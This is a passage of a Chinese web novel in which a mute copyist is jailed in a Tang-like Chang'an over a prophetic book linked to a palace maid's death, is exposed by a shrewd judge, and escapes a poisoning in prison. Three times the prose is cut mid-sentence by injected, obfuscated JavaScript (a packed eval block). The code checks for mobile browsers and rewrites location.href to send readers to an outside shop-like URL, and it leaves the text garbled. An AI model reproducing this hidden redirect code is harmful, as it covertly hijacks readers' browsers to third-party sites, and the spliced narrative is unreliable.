《纯狱系哑女》
1. 红尸
三更的长安,夜色凄迷,雾暗云深。
掖庭宫里一个嬷嬷提着灯,绷着脸皱眉嘀咕:“林氏这丫头,让她值夜也不知跑去哪偷懒了,等下让我逮着必须得罚跪一个时辰。”
她掩口打了个呵欠,绕到一排偏僻的房室后面,突然手里的灯啪嗒摔在地上,不知被什么东西绊了一跤,整个人狼狈地栽了下去。
嬷嬷一边咒骂一边爬起来,借着依稀的灯光看去,突然间瞳孔一缩,胃里翻涌。
“啊——”
巡夜的宫人们闻声一惊,迅速从四面赶来查看。
只见嬷嬷面似金纸地伏在一具女尸身上,尸首从脸到脚已经全然溃烂,浑身布满了可怖的红斑,诡谲得如同地狱图中画的冤鬼。
“林、林氏!”
嬷嬷颤抖着看了眼女尸的腰牌喊道,随即发现她手中握着一柄拂尘,尘尾指向皇宫深处。
“奇怪……”嬷嬷想将拂尘抽出来,女尸的手却死死攥着不放,她打了个寒战命道,“快,快去喊掖庭令过来!”
……
晨曦曈曚,驱散了漫漫黑夜,迅速铺满了长安的一百一十坊。
西市开始忙碌了起来,一家食肆里飘出了香甜的杏酪味。
季晚凝用长勺搅拌着大釜里浓稠的麦子和杏仁,熬了一个时辰后,她舀起来尝了一口,火候刚刚好。
她熄了炉子,将酪浆盛在一个个陶碗里。
开市的鼓声响起,季晚凝将襜衣从腰上解下,来到前堂迎客。
三三两两的客人进店里坐下,她端着陶碗不停地穿梭其间,来到两个书生面前时,只听他们神色古怪地交谈着。
“你听说昨夜宫里的事没有?有个宫女离奇身亡,圣人已经着令大理寺查案了,我方才在街上瞧见了成群结队的官差。”
“当然听说了,还有更离奇的,就在事发前几日,我买过一本名叫《长安异闻录》的志怪话本。”
书生压低声音,一字一顿道:“掖庭三更,宫娥暴毙;肌腐见骨,红尸如绮;手执拂尘,指凶踪迹。”
“书中所写简直同昨晚的命案分毫不差,那话本竟一语成谶了!”
季晚凝放下陶碗,清莹的眸子里泛起一缕惊澜,手一抖险些碰洒了酪浆。
“你瞧,把人家小娘子都吓到了。”书生放缓语气笑了笑,抬头看她。
女郎月眉星眼,杏脸如玉,一头乌发用木簪简单挽起来,穿着一身洗得泛白的素裳,倒显得鲜洁胜雪,秀骨清像。
书生面带羞涩道:“看娘子面生,是新来的吧,劳烦煎壶茶来。”
季晚凝眼角缀了抹婉约的笑意,转身去了后院。
她没有去煎茶,而是回到房中从自己的行囊里取出一个东西来,塞进袖子里。
随后轻手轻脚地推开空无一人的库房,迅速扫视了下四周,走到一个装满食材的袋子前,从中翻了半晌,挑出一颗硕大的核桃。
季晚凝把核桃敲成两半,吃掉了里面的仁,然后把袖里那样东西装进空壳,又用浆糊黏住放了回袋子底部。
做完这一切她才来到厨房,开始碾茶烹水。
茶水三沸过后,街上传来了纷乱的马蹄声,紧接着是洪亮的喝斥声。
季晚凝抬眸朝门口瞥了一眼,又低下头专注地将煎好的茶倒进茶壶里,起身准备送过去。
堪堪走到门口,突然咣当一声巨响,木门被粗暴地踹开了。
几名腰佩横刀的官差闯了进来,气势汹汹地将她围堵住,厉声道:“你就是季晚凝?”
季晚凝仰起脸,轻点了下头,眸中秋水微颤,盛着茫然与无措。
“大理寺奉旨缉拿谶书案案犯,有人告发你誊抄了《长安异闻录》,跟我们回衙署受审!”
官差二话不说上前钳住了她的肩,押出厨房,一路来到前堂。
那个书生看见季晚凝被两个壮硕官差夹在中间,望之纤弱不堪,他刚刚瞧热闹的神情倏尔转为惊讶:“难道……难道你与昨晚的命案有关?!”
季晚凝没作声,扭了下肩,躬身将茶壶稳稳放到他面前。
掌柜娘子匆匆跑上前拦在门口:“误会了,误会了,她不可能是犯人啊!”
官差眉头一拧,问季晚凝:“你近日可曾去过砚真书肆?”
季晚凝眨了下羽睫,点点头。
掌柜急忙解释:“她是个哑女,有什么事几位官差尽管问我,先前我遣她去砚真书肆送过饭食,他家是老顾客了,想必其中有什么误会。”
官差迟疑地看向手中的嫌犯,季晚凝正抬头望他,满面无辜。
这时一个囚犯被带了进来,扫了眼季晚凝,立刻回头,对着什么人笃定道:“就是她没错,她抄的话本正是鄙人亲自收下的!”
此时食肆门口已围满了人群,目光齐刷刷地看过去,只见门外立着一匹格外显眼的玄黑色骏马,一个紫袍男子居高临下地坐在金鞍上,身姿笔挺,眉眼冷峻。
男子微微抬起骨节分明的手,对身侧的官差示意了一下,声若寒刃:“带走。”
季晚凝循声望去,而声音的主人已毫不留恋地策马而去,只留下个虚影在她眼前一晃而过。
那是大理少卿?
正疑惑,官差上前挡住了她的视线,下一刻冰凉的镣铐就扣在了她的双腕上。
掌柜拽着官差的袖子道:“她来长安不过数日,整天在我这里干活,老实得很,怎么可能跟什么谶书案扯上关系呢?”
季晚凝抬起沉重的手腕,带着安抚的意味轻抚了下她的胳膊,摇了摇头。
她转过身,在官差的包围下,往大理寺徒步走去。
浮云逐渐染上了暮色,烟霭沉沉。
大理狱的铁门吱吱嘎嘎荡开,而后响起了铁链曳地声,被冷硬的石壁放大了数倍。
刺耳的声音惊动了女监的囚犯们,不约而同地站在木栅后面窥探着狭长的甬道。
在无声的注视中,季晚凝被狱吏推了一把,踉跄着跌进了牢房。
这个八尺见方的囚笼中只有两席草簟,和一个坐在阴影里的同监,正仰头打量着她。
锁头锒铛落下,牢头小六率着狱吏往外走,突然被一个女囚伸手拦住了去路。
这人锦衣华服,倚在牢门边,好似在戏园子里看戏一般,显得格格不入。
“小六,这新来的犯了什么官司?”秦俪拖着一副百无聊赖的嗓子问道。
小六停下脚步,回道:“誊抄禁书,秦娘子可曾听过《长安异闻录》?”
“那不是这月新出的话本吗,我入狱前还看过呢。”秦俪略带诧异道,“抄个书也犯得着下狱?”
“秦娘子有所不知,”小六一脸神秘道,“昨晚掖庭里死了个宫女,那死状同话本里写得一模一样,这哪是话本,分明是谶书啊!”
“还有这等诡事?”秦俪眼睛一亮,立马直起身子。
她回忆了片刻,倏地睁圆眼睛:“我想起来了,那话本里写的红尸,岂不是和当年皇后的死状一样?”
“嘶……娘子慎言,”小六慌忙左右张望,“正因如此,圣人才龙颜震怒,给大理寺下了死令,十日内必须破案。”
秦俪不管不顾地追问:“那查到了没有?真凶究竟是谁?”
“圣人要查的是撰写谶书之人,而非凶手。咱们雷厉风行的大理卿只用半日就将犯人缉拿归案了,像她这样的抄工也抓了十来个。”
小六说着朝季晚凝努了努嘴,“秦娘子,若没旁的事,鄙人就先出去了。”
秦俪随意摆了摆手,待他走后,眉头一挑,冲西侧的牢房扬声道:“新来的,你叫什么名字?”
大理狱分男女贵贱关押,女监因人少,贵贱都关在一处,东侧是贵人,西侧则是庶人贱民。
季晚凝进了牢房后就背对东边卧着,默不作声。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164440|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
秦俪不见回应,又拔高了声音:“那宫女究竟是谁害死的,难道话本真能未卜先知?”
她的话再次如同石沉大海,一片寂静。秦俪哪受过这种漠视,不悦道:“问你话呢,哑巴了不成?”
忽听噗嗤一声轻笑,一个爽脆泼辣的声音打破了僵持:“我看这新来的小娘子倒像个明白人,知道在这腌臜地方连喘气儿都沾着秽气。”
话音刚落,一直置若罔闻的季晚凝翻了个身,抬眸看向这个瘫坐在自己对面的女囚,刚刚说话的人就是她。
她注意到她的裤管上浸染着大片黑褐色的血迹,触目惊心。
“王露谣你个私盐贩子,也配插嘴?”秦俪眼珠狠狠剜了一下,“你若是能活着出去,我房里还缺个倒夜香的,可赏你两口饭吃。哟,瞧我这脑子,差点儿忘了你的腿已经折了,我府上可不养废人。”
王露谣噙着冷笑道:“是吗,我以为秦府里有不少废人呢。”
秦俪半晌才琢磨过味来,怒道:“看来另一条腿你也不想要了!”
“铛——铛——”
响亮的更锣声敲了起来,狱婆提着铜锣在甬道上来回巡视,压住了嘈杂的吵闹声。
壁龛里的灯烛依次熄灭,牢狱重归寂静。
一夜无话,季晚凝在晨锣声中醒来,见一旁的王露谣早已起了,蜷在角落里用着简陋的朝食。
大理狱里没有不要钱的饭,囚犯不想饿肚子要么交钱,要么让家眷送饭进来。
季晚凝在长安举目无亲,身上仅剩的些许铜钱也连同行囊一并被官差收缴了去。她昨日忙了一上午,连饭都没顾得上吃就进了大理狱。
正巧甬道上放饭的狱婆经过,她掀开被单起身,将胳膊伸出栅栏挥了几下。
“什么事?”狱婆停在牢门外。
季晚凝比划了几个手势,想让她帮她把行囊取来。
狱婆不解其意,不耐烦道:“想吃饭?想吃饭就拿钱。”
说罢转头就走了。
季晚凝从栅栏中收回手,清亮的眸光黯了黯,由期盼转为失落。
狱婆径直来到秦俪的牢门前,打开锁头,恭敬地递上了一个食盒。
这是秦父遣仆从送来的饭菜,另外还有悦桂斋的糕点、蟹黄毕罗等。
秦俪掀开食盒,香气扑鼻,她拈起一枚糕点,瞥了眼西头饿着肚子的季晚凝,道:“新来的,等下给我捏捏肩揉揉腿,赏你半个毕罗,如何?”
“我马上就要出狱了,日后你想吃了连个饼渣都捡不到,可别后悔,我是看在你初来乍到才照顾你的。”
季晚凝没理睬她,兀自打理着身上沾满草屑的裙衫,梳整鬓发。
秦俪讥笑一声:“你倒是清高,也不掂量掂量有没有那个命。”
“秦娘子,看她是个不识抬举的,还是让我来吧。”西侧一名女囚道。
秦俪晲了她一眼:“多嘴,我偏要看看她配不配伺候我。”
女囚缩了缩脖,望了眼对面牢房里淡如止水的季晚凝,惹谁不好偏要惹秦俪。
那王露谣就是个例子,因着不听使唤,说话又夹枪带棒的,成了秦俪的眼中钉。
前几日秦俪贿赂小六,寻了个由头给她用私刑,硬生生打断了一条腿。
王露谣这回倒十分安静地没插嘴,她捧起粥碗仰头喝了一口,随后将碗放在地上,推到了季晚凝面前。
季晚凝见碗里还剩了一小半的粟米糊,肚子不禁咕咕直叫,她冲王露谣展眉一笑,坐下来端起碗小口啜起来。
没多时,小六带着狱吏晃进了女监,走到季晚凝的牢房门前,停下脚步。
“大理卿提审,进殿后老实点儿,问什么就如实回答,不然小娘子这身子骨怕是经不起上刑。”
“听懂就点点头。”
季晚凝抬眸微微颔首,将碗底的最后一口米糊咽了下去,随后起身跟着他出去了。
2. 替死
大理寺的正殿前立着两尊獬豸石像,形貌酷似狮子,不同的是头上竖着又长又弯的独角,昂首怒目,注视着今日到此的第一个囚犯。
季晚凝被狱吏一左一右挟持着押进殿,尚未站稳,纤薄的肩就被用力一压,双膝扑通跪在了地上。
殿中一片肃穆,面无表情的差吏列成两排,侧面的墙壁上悬挂着《大齐律》,上首的座位此刻还空着。
季晚凝垂首盯着地面,等了约莫一盏茶的工夫,壁角的铜漏上水了一刻。
就在这时,一阵清越的环佩之音随着水滴声响起,由远及近。
一袭紫麟袍自屏风后转了出来,衣袂当风,袍摆用金丝绣着麒麟,腰间系着金玉蹀躞带,钩褵上悬着水苍玉佩和金鱼袋。
贺兰珩步履沉稳地行至上首,落座升殿,左右侍卫按刀而立。
随着抚尺重重拍落在公案上,一股肃杀之气顷刻在殿内蔓延。
“季晚凝,据书贩指认你曾参与誊抄《长安异闻录》,按《大齐律》当以妖言惑众判处,你可有辩驳?”
他的声音清冽而深沉,透着凛不可犯的威严,季晚凝心下诧异,这个大理卿听起来岁数并不大,甚至很年轻。
她缓缓抬起了双眸。
只见殿上那人眉宇疏朗,骨目俊美,神清如冷玉,英挺的轮廓中带着几分凌厉。
看起来果然只有二十来岁,季晚凝想起了昨日骑在马上的那个官员,原来他不是少卿,而是正卿。
如此年纪便出任从三品官职,想来不是皇亲国戚就是门荫入仕,没什么真才实学的庸官而已,她家乡的刺史便是如此。
季晚凝收拢了思绪,伸出一只削葱似的手指点在唇前,摆了摆手,表示自己不能说话。
“来人,上笔墨。”
不出片刻,文房四宝铺陈在了季晚凝面前。
她用明湛的秋眸望着他,摇了摇头。
“不识字?”贺兰珩从容不迫地拿起一卷书帙,用修长的小指挑开丝绦,“大理寺缴获了数百禁书抄本,唯独此卷无人供认。”
他让书吏将那本《长安异闻录》展开铺在她眼前,道:“照着临摹第一列。”
季晚凝只得拾起兼毫,在石砚里沾了沾,笔尖悬在黄麻纸上方,琢磨着该如何下笔,犹豫间,墨汁滴在了空白的纸上。
她深吸一口气,五指微蜷,瞄着那话本小心翼翼地落了笔。
贺兰珩起身循阶而下,走到她跟前。
她执笔的手露出一截纤细的腕子,素骨凝冰,腕上扣着青津津的粗重铁链,下方是一串蜈蚣般歪歪扭扭的字迹。
季晚凝一笔一划写得谨慎而认真,可笔顺却几乎全错,生疏而笨拙地临摹完后,她顺手将笔放在了纸上。
笔杆滚动两圈,她忙又拣起来搁回笔架上,镣铐随慌乱的动作发出一串锒铛的声响。
她轻呼了口气,仰起头,不偏不倚撞进了贺兰珩俯视的目光中,那深邃的眼底如雾染青山,捕捉不到阴晴变幻。
他一双漆瞳徐徐逡巡过季晚凝的脸。
晨曦淡如薄纱,将她的眸子映得如露珠般清灵剔透,带着一丝不谙世事的澄澈,倒映出他高挑的影子。
季晚凝迎着他的审视,把鸦羽轻轻眨了一眨,好像在询问他的决断。
贺兰珩凤眸半掩,移开了视线,转而对侧首的大理正卫庚道:“卫庚,她的户籍可曾核查过?”
卫庚翻着簿案回禀道:“据下官调查,季晚凝来长安不过七日,原是润州人氏,其父季良是当地的农户,与她过所文书上所写一致。”
农户之女目不识丁倒是合乎常情。
卫庚见贺兰珩默然凝思,便试探道:“贺兰卿,要不用刑?”
贺兰珩眉目沉静,语气淡然道:“既不识字,想必是那书贩误会了,待录过文书就将她放了吧。”
说罢他拂袖回到殿上,撩袍落座。
“把她带下去,传下一个。”
季晚凝没等差吏上前,神色自若地径自站起身,素手整了整衣袖,转身踏出了大殿。
……
狱中,秦俪卧在榻上闭目养神,她的牢房大小顶西侧的三个,独居一室,房中有床榻帘帐、案几香炉等物什,整洁舒适。
一个西牢房的女囚正跪在地上给她捶腿捏脚,人是小六放进来的,他在门外看守。
“小六,我今日就能出去了吧。”她慵声问道。
秦俪因杀人入狱,一个平康伎买走了她相中的胭脂,她索要不成,指使奴仆当街将人棒打至死。
不巧那平康伎是惊鸿楼的摇钱树,长安最大的勾栏背后定有靠山,不是好惹的。
夫家不管她,秦父不得不大出血,打点了狱丞,又特意登门拜谒了大理卿,不日按律缴了赎铜秦俪便能出狱了。
小六上前一步回道:“狱丞说如今大理寺上下都忙于谶书案呢,无暇顾及秦娘子的案子,恐怕娘子还得再等上一等。”
秦俪睁开眼看向他:“怎么又等?你上回也是这么跟我说的!”
“鄙人也没办法啊,贺兰大理这两日通宵达旦地办案,何况他是新官上任,格外不好说话。”
秦俪道:“秦氏与贺兰氏素有交情,你去同贺兰三郎说我要见他,他定不会拂了我阿耶的面子。”
“这……秦娘子就别难为鄙人了。”小六皮笑肉不笑道。
秦俪正欲发作,就听见铁门开启的声音。
季晚凝被送回了狱里,她脚腕上虽然仍箍着镣铐,行步却十分轻盈。
秦俪一见她气就不打一处来,都怪这些谶书案犯作乱,耽误她出狱。
“喂,新来的那个……”
她刚要开腔就被小六劝住了:“她是个哑巴,秦娘子别跟她一般见识,仔细气坏了身子。”
“还真是个哑巴?”秦俪愣了下,“我看恐怕还是个聋子。”
“秦娘子,算了,她明日就能出狱了。”一个押送季晚凝的狱吏插话道。
秦俪瞪大了眼睛:“这么快?比我还早?”
狱吏点头:“大理卿已经确认是误捕的了。”
小六附和道:“看她这穷酸样也不像会识字的,又怎么可能抄书呢?”
秦俪后槽牙有些发酸,难怪她压根就不搭理自己,原来是知道马上就能出狱,她心里愈发憋闷了。
次日一早,狱婆照常给王露谣送了碗粟米糊来,王露谣从怀中掏出一枚铜钱放到她掌心上。
季晚凝环抱着双膝,静静靠坐在墙壁边。
这两日全靠王露谣每顿给她留一口吃食勉强果腹,此时她饥肠辘辘,饿得发慌,不过好在今日就能出狱了。
这时,外面飘进来一股炖鸡肉和炒菜的浓郁香味,只见狱婆托着个木盘从甬道那头走过来,盘中盛着满满三碟菜,两素一荤,还有一大碗白花花的米饭。
季晚凝被勾得心痒难耐,强迫自己扭开头去,装作没看见,心里却在盘点出狱后该吃些什么大快朵颐。
意料之外地,狱婆停在了她的牢房前,道:“季晚凝,这是你的。”
季晚凝不敢置信地扭回头来,连忙起身,一头雾水地双手接了过来。
周围牢房的女囚们像松鼠一样探出头,眼睛直勾勾地望了过来,流露出艳羡的神情。
王露谣一面端着碗咀嚼,一面盯着她那盘饭菜,忽然嗅出了一丝端倪。
“阿婆,今日她的饭怎么这么丰盛啊?”她用打趣的口吻问道。
狱婆肃着脸低声道:“少打听,断眉塞了钱。”
断眉是大理
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164441|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
狱的一个狱吏,因一双眉毛从中间断开而得名。
王露谣抿了抿唇,没再追问。
季晚凝心里稍一琢磨,这顿饭想来是大理寺为了补偿她被误捕的损失。
狱婆走后,她把食盘递给王露谣,示意让她先吃,当做答谢。
王露谣却抬手挡了回去,道:“不用不用,你留着自己吃吧,我过两日出去后也能吃上肉了。”
她讪讪地笑了笑。
这分明是断头饭啊!
可昨日她亲耳听狱吏说这小娘子马上就要无罪释放了,又为何……
王露谣暗自咋舌,衙门里的腌臜事太多了。
先前她从坊间听闻,前任大理卿罗逊收受贿赂,用良民替代死刑犯斩首,直到替罪之人的家眷敲了登闻鼓才得以平反,罗逊也因此伏诛了。
然而除狼得虎,贪官恶吏走了一个又来一个,看来这新任的也不是什么善人。
王露谣看着季晚凝张了张嘴,欲言又止。
季晚凝毫不知情地拿起木箸,将盘里的饭菜吃得一干二净,空荡荡的胃终于填饱了,心满意足。
饭后正准备小憩,只听门外锁头哗啦啦响动,一个狱吏打开牢门,对她道:“跟我出来吧。”
季晚凝抬头看他,此人两道粗眉皆从中间断开一线,应该就是刚刚狱婆提到的“断眉”。
她站起身,跟着他出了牢房,来到值房里。
断眉道:“你站在这儿,等我拿狱牒。”
说着他走到桌案边,在一摞文书中翻找着。
季晚凝心情松弛地点了点头,看了眼身上的镣铐,心想总算能摆脱这烦人的东西了。
少顷,虚掩的门被悄悄推开了一条缝,一个官员在门外朝断眉招了招手,断眉放下刚找到的文书,走过去躬身与他低语。
季晚凝瞥了一眼门缝中的官员,认出是堂审时在场的大理正卫庚。
两人神色严肃,对话听不真切,她竖着耳朵只听见了“押送”、“西市”、“行刑”几个字眼。
莫名有种不妙的预感在她心底涌动。
季晚凝怀着疑虑朝桌案望过去,目光蓦地一凝,只见最上面的那张文书上赫然写着她的名字。
“人犯季氏晚凝,因私仇持剪杀害邻右,判以绞刑,八月初一午时于西市独柳树行刑。”
末端盖着朱红色的大理寺官印。
今日就是八月初一。
季晚凝呼吸顿时一窒。
她何时杀过人?!他们弄错了!
她转向门口,断眉和卫庚刚刚说完话,走回来重新拾起那张文书,面色如常道:“时辰到了,走吧。”
季晚凝脸色唰地变得煞白,一股寒意顺着尾椎爬上脊背,她冲断眉连连摇头,往后撤了几步。
断眉朝她走进,目光炯炯:“你躲什么,还想不想出狱了?”
她被逼到了壁角里,退无可退,断眉忽地一个箭步上前,抓起她腕间的铁链,强硬地往外一拽!
季晚凝猝不及防地向前扑去,她急忙稳住身形,将双腕往后奋力拉扯,可断眉身材敦实,毫不费力地就把她拖出了半丈远。
季晚凝干脆顺着他的力道跟上前,佯装顺从,趁他转身的瞬间,猛地抬起脚狠狠跺在了他的草鞋上。
断眉“嗷”了一声,痛得眼角挤出几把鱼尾纹来。
季晚凝挣脱开他扑向桌案,眼疾手快地找到一张白纸,抄起笔杆挥墨写道:
“吾非杀人犯。”
笔墨堪堪落下,断眉紧皱的眉头刹那间就松开了,他嘴角一咧,狰狞的神情被狡黠所替代。
就在这时,季晚凝听见了熟悉的环佩声,陡然回首,忽见值房里间的布帘子被一支象牙笏板轻轻挑开了,从中走出来一个紫袍男子。
3. 识破
贺兰珩清疏俊逸的眉宇下,一双狭长凤眸冷峻无波,周身交织着世家公子的矜贵与刑官的锐利,无需言语,自有一股浑然天成的威仪。
季晚凝怦怦直跳的心倏而一滞,握笔的手僵在半空,惊魂未定地望向他。
贺兰珩缓步绕到桌案后,将那张纸擎起来看了少顷,口吻带着赞赏道:“笔锋行云流水而端庄秀逸,笔法严谨工整而气韵浑成,好字。”
随后他笑容微微一寒,从袖中抽出那卷《长安异闻录》掷在桌上,“与你抄的这手小楷如出一辙。”
季晚凝咬了咬唇,脑中飞速思索着,自己到底是哪里露出了破绽从而引起他的怀疑。
“一个人若想装作不会写字很容易,但你即便带着沉重的镣铐,悬腕也依旧稳健,因为你握笔的姿势已然深入骨髓,恐怕自幼就开始习字了。”
贺兰珩原本怀疑她连哑也是装的,但如此一试,反倒坐实了她是真哑。
他放下纸继续道:“堂审那日本官迟了一刻,在屏风后观察你,你前后看了三次墙上的《大齐律》,说明你很担心自己的判罚,而且一个不能识文断墨的人,是不会对密密麻麻的条文如此有兴趣的。”
季晚凝清眸微微一转,在他洞悉一切的眼神下无所遁形。
原来他并不是一个尸位素餐的庸官,她轻敌了,没料到此人比前政罗逊强上数倍。
贺兰珩抬眸,沉声诘问:“是谁教你识字的?”
季晚凝收拾好凌乱的心绪,重新握稳笔杆写道:“家父乃是贫寒书生,耕读传家。”
“你来京师所为何事?”
贺兰珩一边发问,一边将那张伪造的狱牒丢进炭盆里。
季晚凝从容落笔:“乡里一恶豪欲强纳我为妾,我不从,遂逃至长安,另谋出路。”
“为何誊抄禁书?”他的质讯如连弩射出的箭矢,没有丝毫的间隙。
“谋生。”她毫不犹豫地简短应答。
贺兰珩屈指叩着桌案:“你为何不告诉食肆掌柜你在兼顾抄书的差事?”
季晚凝手腕略微顿了一下,写道:“我担心娘子不悦。”
贺兰珩的目光在她双眸间停留了片刻,没再问下去,起身对断眉道:“叫卫庚来看着她写供状,写完关回牢里。”
言讫,他拂袖走出了值房。
季晚凝掐了掐手心,心沉入了水底,望着他信步离开的背影,霎时间醒悟过来,那张狱牒上只有一个大理寺的官印,却没有刑部复核的章,并不能作数。
她怎么就粗心大意上了这老狐狸的当!
一直守在门外的卫庚进来了,让季晚凝写了供状,签字画押。
既然尘埃落定,现在最重要的是吃饭,季晚凝写了张字条,让卫庚帮她把行囊里的钱取来,以便买饭吃。
卫庚倒也没为难她,爽快地应下了。
……
贺兰珩用了几日时间,将涉谶书案的近二十名犯人全部审完了。圣人敕令十日内侦破,可谓争分夺秒。
书肆掌柜冯砚真已经承认谶书是自己所写,却不认罪,一口咬定他做了个梦,醒来后写成书只为了卖钱,不料一语成谶。他道此乃天谶,不可违逆。
冯掌柜生意做得红火,人际关系复杂,官差很难一一排查可疑之人。
贺兰珩翻开了《长安异闻录》,排除掉那些无甚意义的神灵鬼怪描写外,可以提炼出三则谶言。
第一则就是宫女暴毙,已然应验。
那宫女的死状与皇后的死状极为相似,皇后几年前因生了赤癍疮薨逝,当时由于尸首惨不忍睹传得朝野尽知。
贺兰珩通过宫里的关系探知,圣人没请人验尸,而是命人直接把宫女的尸首烧了,另外发现尸体的几个宫人也被投进了井里,可消息还是不胫而走。
只可惜宫女手里拿着的那把拂尘也被扔了,依谶书所言,拂尘所指便是真相,最重要的线索没了。
这案子不仅仅在证据上难办,再看后面两则。
第二则曰:“木偶有灵,傀儡戏起;旧案重现,方见天理。”
意思是写书之人欲借傀儡戏上演陈年旧案的真相。
第三则曰:“六月廿一,雪袭含元;獬豸有角,破晓玄机。”
含元殿是举行重大朝会的地方,而獬豸是公正的化身,以头上独角明辨有罪之人,常用来指代刑官,比如大理寺、刑部及御史台。
旧案重演,六月飞雪,獬豸破玄机,分明是写书人在鸣冤昭雪。
能够操纵这三则谶言的人,需要同时染指后宫和前廷,不是一个书肆掌柜能做到的。
贺兰珩给幕后主谋起了个代号叫“针”,拂尘和獬豸的独角都如针一样直指所谓的真相。
如若只为交差,平息圣怒,他完全可以将冯掌柜当作“针”来定罪,可如果日后余下的两则预言成谶了,他又如何向圣上交待。
若要揪出“针”,此人品阶未必在贺兰珩之下,他又该如何查。
这是个坑,深不见底的水坑。
贺兰珩在接手此案的时候不曾想过,那一刻他已然被拉下水了。
解铃还须系铃人。
这几日他多方打探到了那宫女的身世,姓林,父亲是十年前一个重案的罪臣,时任御史中丞,死在了流放途中。
这个旧案当时圣人是命刑部和大理寺两司会审的,为何不是三司呢?
因为审的不止一个林台丞,而是几乎整个御史台。
结果全军覆没。
贺兰珩须得找到当年的卷宗查阅,可他和卫庚翻遍了整个案牍库,卷宗却不翼而飞了。
季晚凝重新回到大理狱,狱婆给她换上了囚衣,现在她是一个正式的囚犯了。
一连几日卫庚都没送钱来,她只好用手指沾着地上的灰在衣服上写字,试图让狱婆帮她询问一下,可惜她们都不识字。
季晚凝依然靠王露谣的接济勉强裹腹。
王露谣见她平安归来,也不在乎这几口吃的,时不时还跟她说说话解闷。
这日清早,王露谣的狱牒批复下来了,判处六十杖刑,等用过朝食就行刑。
秦俪幸灾乐祸地刻薄道:“恭喜你,比我还早出狱,日后过不下去了可别上秦府行乞。”
王露谣毫不客气地回道:“秦娘子放心,你来大理狱这么游览一圈,没少让你阿耶破费吧,我知道心疼人。”
秦俪翘翘嘴角,转身坐回榻上道:“走好。”
王露谣纳罕她这么轻易就息兵休战了,恰巧狱婆送来了粟米糊,便也没再说什么。
她接过碗,拿起勺子刚要往嘴里送,身边的季晚凝突然抬手,“哐当”一下打翻了她的碗,碎了一地,米糊也尽数洒在了墙角。
王露谣满脸错愕地看着她,这小娘子莫不是饿疯了?
正要开口,只见从墙洞里钻出几只老鼠,围在墙角舔舐起残渣来。
不消片刻,老鼠突然浑身抽搐,随即僵直地倒在地上,一动不动。
王露谣倒抽一口凉气,惊诧地问季晚凝:“你是如何知道碗里有毒药的?”
方才饭碗端过来时,季晚凝无意间扫了一眼,发现米糊里夹杂着细微的粉末及浑浊的絮状物,于是心中起疑,来不及
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164442|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
确认就先打翻了。
王露谣差点忘了她是哑巴,扭头冲东侧冷声道:“秦俪,好歹毒的心肠!”
秦俪拿着菱花镜端坐在榻上,不以为然道:“我不过是见你们吃得太寡淡,好心给你们加了一点草乌头而已。”
“你……”
这时狱吏拿着狱牒朝牢房走了过来,王露谣忍下怒火,撑起身体对季晚凝道:“我该走了,你保重。”
季晚凝将她从草席上扶起来,她没法独自走路,只能由狱吏架着胳膊单腿着地,镣铐拖在石地上擦出断断续续的声音。
季晚凝站在木栅后面目送她离开,物伤其类,她不由担忧起自己。
堂审那日她看见《大齐律》中写着,妖言惑众者,重则死刑,轻则流三千里。
她来长安后先是找了个食肆帮工的差事,但因为自己是哑巴,行事不便,所以工钱很少。
几日后她在给书肆送吃食的时候,谋求到一份抄工的差事。于是她白日在食肆做活,晚上闲时抄书,抄完再借着给书肆送食的机会送过去。
不过是为了八十文钱抄了区区一本话本,谁又能想到话本突然变成了谶书?真是世事难料。
天光渐暗,暮色自天际袭卷而来,弥漫至皇城,昏昏然下沉。
大理寺的官吏们已不眠不休一连忙了几日,如今人证物证基本落听,大多人都回家休息去了,就连守在廊外的胥吏也散了,衙署中只剩了几盏孤灯。
官廨里,翘头案上垒着一叠案牍,铜灯的灯花在纸堆上投下一片碎影。
贺兰珩正在挨个查阅掌柜和抄工的供状,试图找出新的线索,侍卫北苍立在一旁伺候笔墨茶水。
一阵风忽至,卫庚叩门进来,手里拎着一个布包裹。
“贺兰卿,这是季晚凝的行囊,当时从食肆里搜到的,没发现什么可疑之物,就一直放在证物房里。”
卫庚接着道:“前几日季晚凝让我帮她取些钱来,结果我一忙就给忘了,今日才想起来。于是我心血来潮把她这布囊里的东西跟过所文书比对了一番,发现少了个香球。”
贺兰珩从成堆的案牍中抬起头来,看着他。
“随即我派差吏又去食肆搜查了一遍,没找到那个香球,掌柜娘子也说没见过。”
贺兰珩沉吟了片刻,道:“知道了,把行囊和过所文书拿给我吧。你这几日也没歇息,趁着还没夜禁,快回家去吧。”
“那下官先行告退了。”卫庚把布囊放在案边便退了出去。
